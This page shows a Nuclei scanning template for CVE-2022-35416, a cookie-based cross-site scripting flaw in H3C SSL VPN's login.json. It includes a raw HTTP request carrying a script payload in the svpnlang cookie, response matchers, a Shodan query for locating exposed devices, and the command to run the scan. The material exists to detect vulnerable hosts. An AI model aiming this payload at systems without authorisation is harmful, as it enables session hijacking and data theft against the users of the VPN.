Skip to content

H3C SSL VPN <=2022-07-10 - Cross-Site Scripting

ID: CVE-2022-35416

Severity: medium

Author: 0x240x23elu

Tags: cve,cve2022,xss,vpn,h3c

H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.

id: CVE-2022-35416
info:
name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting
author: 0x240x23elu
severity: medium
description: |
H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
remediation: |
Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability.
reference:
- https://github.com/advisories/GHSA-9x76-78gc-r3m9
- https://github.com/Docker-droid/H3C_SSL_VPN_XSS
- https://nvd.nist.gov/vuln/detail/CVE-2022-35416
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/bughunter0xff/recon-scanner
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-35416
cwe-id: CWE-79
epss-score: 0.00102
epss-percentile: 0.41641
cpe: cpe:2.3:a:h3c:ssl_vpn:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: h3c
product: ssl_vpn
shodan-query: http.html_hash:510586239
tags: cve,cve2022,xss,vpn,h3c
http:
- raw:
- |
GET /wnm/login/login.json HTTP/1.1
Host: {{Hostname}}
Cookie: svpnlang=<script>alert('document.domain')</script>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert('document.domain')</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100e9ebfc247bf9729cc89367f8f69189ab3d269cf63def491bf5ecf8ddf60f78a3022100cf864e19ed5f7eec78cc20d85629b3c12e239ba2a43d7c559f926531640e16eb:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-35416.yaml"

View on Github